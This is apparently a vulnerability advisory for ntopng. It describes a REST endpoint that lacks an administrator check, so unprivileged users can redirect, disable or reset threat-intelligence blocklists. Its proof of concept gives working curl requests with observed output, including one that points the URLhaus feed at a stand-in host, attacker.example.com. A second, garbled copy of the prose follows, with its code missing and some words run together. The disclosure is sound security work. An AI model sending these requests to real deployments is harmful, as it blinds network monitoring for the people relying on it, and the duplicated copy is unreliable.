Summary
The REST API endpoint POST /lua/rest/v2/edit/system/edit_blacklist.lua lacks an authorization check. Any authenticated user -- including unprivileged (non-admin) accounts -- can modify the URL, enabled status, and update interval of any threat intelligence blocklist (e.g., the Abuse.ch URLhaus feed, the Emerging Threats IP blocklist, the NoCoin Filter List). An attacker with any valid ntopng login can:
- Redirect blocklist download URLs to attacker-controlled servers, replacing real threat feeds with empty or adversary-crafted lists (defense evasion / integrity).
- Disable all blocklists, removing detection of known-malicious hosts and flows (availability of security controls).
- Set the update interval to zero (manual-only) to prevent future legitimate updates.
The impact is equivalent to a low-privileged user permanently disabling ntopng's threat intelligence layer without the administrator being able to distinguish the attack from a legitimate configuration change.
Details
Vulnerable file: scripts/lua/rest/v2/edit/system/edit_blacklist.lua
The endpoint accepts a POST request with parameters list_name, list_enabled, url, list_update, and category. It calls lists_utils.editList() directly with no preceding privilege check:
-- scripts/lua/rest/v2/edit/system/edit_blacklist.lua (lines 1-40)
local rest_utils = require "rest_utils"
local lists_utils = require "lists_utils"
local enabled = _POST["list_enabled"]
local list_name = _POST["list_name"]
local category = tonumber(_POST["category"])
local url = _POST["url"]
local reset_url = _POST["reset_url"] or false
local list_update = tonumber(_POST["list_update"])
-- NO isAdministratorOrPrintErr() or auth.has_capability() check here
if (reset_url) then
lists_utils.reset_blacklist_url(list_name, enabled)
else
url = string.gsub(url, "http:__", "http://")
url = string.gsub(url, "https:__", "https://")
lists_utils.editList(list_name, {
enabled = enabled,
category = nil,
url = url,
update_interval = list_update
})
end
rest_utils.answer(rest_utils.consts.success.ok)
lists_utils.editList() in scripts/lua/modules/lists_utils.lua contains no authorization check either; it writes directly to Redis via saveListsMetadataToRedis() and triggers a list reload.
Gated sibling: The UI-facing page scripts/lua/admin/edit_category_lists.lua (line 18) protects the same functionality:
-- scripts/lua/admin/edit_category_lists.lua:18
if not isAdministratorOrPrintErr() then
return
end
The REST endpoint is the unwalled equivalent -- it performs the same write operations while skipping the administrator check present in every sibling admin script.
C++ layer note: The underlying Redis write functions (ntop.setCache, ntop.setPref, and the hash cache functions used by saveListsMetadataToRedis) do NOT enforce user-level authorization in C++, so no lower-level guard prevents the write.
PoC
Prerequisites:
- ntopng running with authentication enabled (
--disable-login=0), e.g.:
docker run -d -p 3000:3000 ntop/ntopng:latest --community -i view:lo
- An admin account (e.g.
admin:Admin123!) and a non-admin account (e.g. testuser:Testpass1!)
- Create the non-admin account:
curl -s -u admin:Admin123! \
"http://localhost:3000/lua/rest/v2/add/ntopng/user.lua" \
-X POST -H "Content-Type: application/json" \
-d '{"username":"testuser","full_name":"Test User","password":"Testpass1!",
"confirm_password":"Testpass1!","user_role":"unprivileged",
"allowed_interface":"","allowed_networks":"192.168.1.0/24",
"user_language":"en","allow_historical_flows":"0",
"allow_alerts":"0","allow_pcap_download":"0"}'
# Expected: {"rc":0,"rsp":[],"rc_str":"OK","rc_str_hr":"Success"}
Step 1 -- Confirm testuser is non-admin:
curl -s -u admin:Admin123! \
"http://localhost:3000/lua/admin/get_users.lua"
# Shows: "column_group": "Non Privileged User" for testuser
Step 2 -- Non-admin testuser redirects the Abuse.ch URLhaus blocklist to an attacker-controlled URL:
curl -s -u testuser:Testpass1! \
"http://localhost:3000/lua/rest/v2/edit/system/edit_blacklist.lua" \
-X POST \
-d "list_name=Abuse.ch+URLhaus&list_enabled=on&url=http:__attacker.example.com/fake_blocklist.txt&list_update=86400&category=10"
Observed response (live on v6.6.260618):
{"rc_str":"OK","rc":0,"rc_str_hr":"Success","rsp":[]}
Step 3 -- Admin verifies the URL change persisted:
curl -s -u admin:Admin123! \
"http://localhost:3000/lua/admin/get_category_lists.lua?currentPage=1&perPage=10&sortColumn=column_name&sortOrder=asc" \
| python3 -c "
import json,sys
d=json.load(sys.stdin)
for row in d.get('data',[]):
if 'URLhaus' in row.get('column_name',''):
print(row['column_name'], '->', row.get('column_url',''))
"
Observed output (live on v6.6.260618):
Abuse.ch URLhaus -> http://attacker.example.com/fake_blocklist.txt
The URL change took effect immediately. ntopng will now fetch threat intelligence from the attacker-controlled URL on the next scheduled update, replacing the real blocklist.
Additional vectors (same endpoint, no auth check):
# Disable a blocklist entirely
curl -s -u testuser:Testpass1! \
"http://localhost:3000/lua/rest/v2/edit/system/edit_blacklist.lua" \
-X POST \
-d "list_name=Emerging+Threats&list_enabled=off&url=https:__rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt&list_update=86400&category=10"
# Returns {"rc":0,"rc_str":"OK",...}
# Reset URL back to default (no custom URL validation)
curl -s -u testuser:Testpass1! \
"http://localhost:3000/lua/rest/v2/edit/system/edit_blacklist.lua" \
-X POST \
-d "list_name=NoCoin+Filter+List&reset_url=1&list_enabled=on&list_update=3600&category=10"
Impact
An authenticated attacker with any valid ntopng login (unprivileged or captive-portal user) can:
- Replace threat intelligence feed URLs with attacker-controlled content, causing ntopng to load adversary-crafted blocklists -- effectively whitelisting any host the attacker chooses, or poisoning ntopng's nDPI category assignments.
- Disable all blacklists, eliminating detection of flows to known-malicious destinations for all users and interfaces.
- Conduct a low-noise security evasion attack: the change appears in the admin UI as a normal configuration update with no anomaly indicator.
In environments using ntopng for network security monitoring or as a gateway threat filter (nEdge), this bypass allows an insider threat or a compromised low-privilege account to blind the monitoring system before launching further attacks.
Summary
The REST API endpoint
POST /lua/rest/v2/edit/system/edit_blacklist.lualacks an authorization check. Any authenticated user -- including unprivileged (non-admin) accounts -- can modify the URL, enabled status, and update interval of any threat intelligence blocklist (e.g., the Abuse.ch URLhaus feed, the Emerging Threats IP blocklist, the NoCoin Filter List). An attacker with any valid ntopng login can:The impact is equivalent to a low-privileged user permanently disabling ntopng's threat intelligence layer without the administrator being able to distinguish the attack from a legitimate configuration change.
Details
Vulnerable file:
scripts/lua/rest/v2/edit/system/edit_blacklist.luaThe endpoint accepts a POST request with parameters
list_name,list_enabled,url,list_update, andcategory. It callslists_utils.editList()directly with no preceding privilege check:lists_utils.editList()inscripts/lua/modules/lists_utils.luacontains no authorization check either; it writes directly to Redis viasaveListsMetadataToRedis()and triggers a list reload.Gated sibling: The UI-facing page
scripts/lua/admin/edit_category_lists.lua(line 18) protects the same functionality:The REST endpoint is the unwalled equivalent -- it performs the same write operations while skipping the administrator check present in every sibling admin script.
C++ layer note: The underlying Redis write functions (
ntop.setCache,ntop.setPref, and the hash cache functions used bysaveListsMetadataToRedis) do NOT enforce user-level authorization in C++, so no lower-level guard prevents the write.PoC
Prerequisites:
--disable-login=0), e.g.:docker run -d -p 3000:3000 ntop/ntopng:latest --community -i view:loadmin:Admin123!) and a non-admin account (e.g.testuser:Testpass1!)Step 1 -- Confirm testuser is non-admin:
Step 2 -- Non-admin testuser redirects the Abuse.ch URLhaus blocklist to an attacker-controlled URL:
Observed response (live on v6.6.260618):
{"rc_str":"OK","rc":0,"rc_str_hr":"Success","rsp":[]}Step 3 -- Admin verifies the URL change persisted:
Observed output (live on v6.6.260618):
The URL change took effect immediately. ntopng will now fetch threat intelligence from the attacker-controlled URL on the next scheduled update, replacing the real blocklist.
Additional vectors (same endpoint, no auth check):
Impact
An authenticated attacker with any valid ntopng login (unprivileged or captive-portal user) can:
In environments using ntopng for network security monitoring or as a gateway threat filter (nEdge), this bypass allows an insider threat or a compromised low-privilege account to blind the monitoring system before launching further attacks.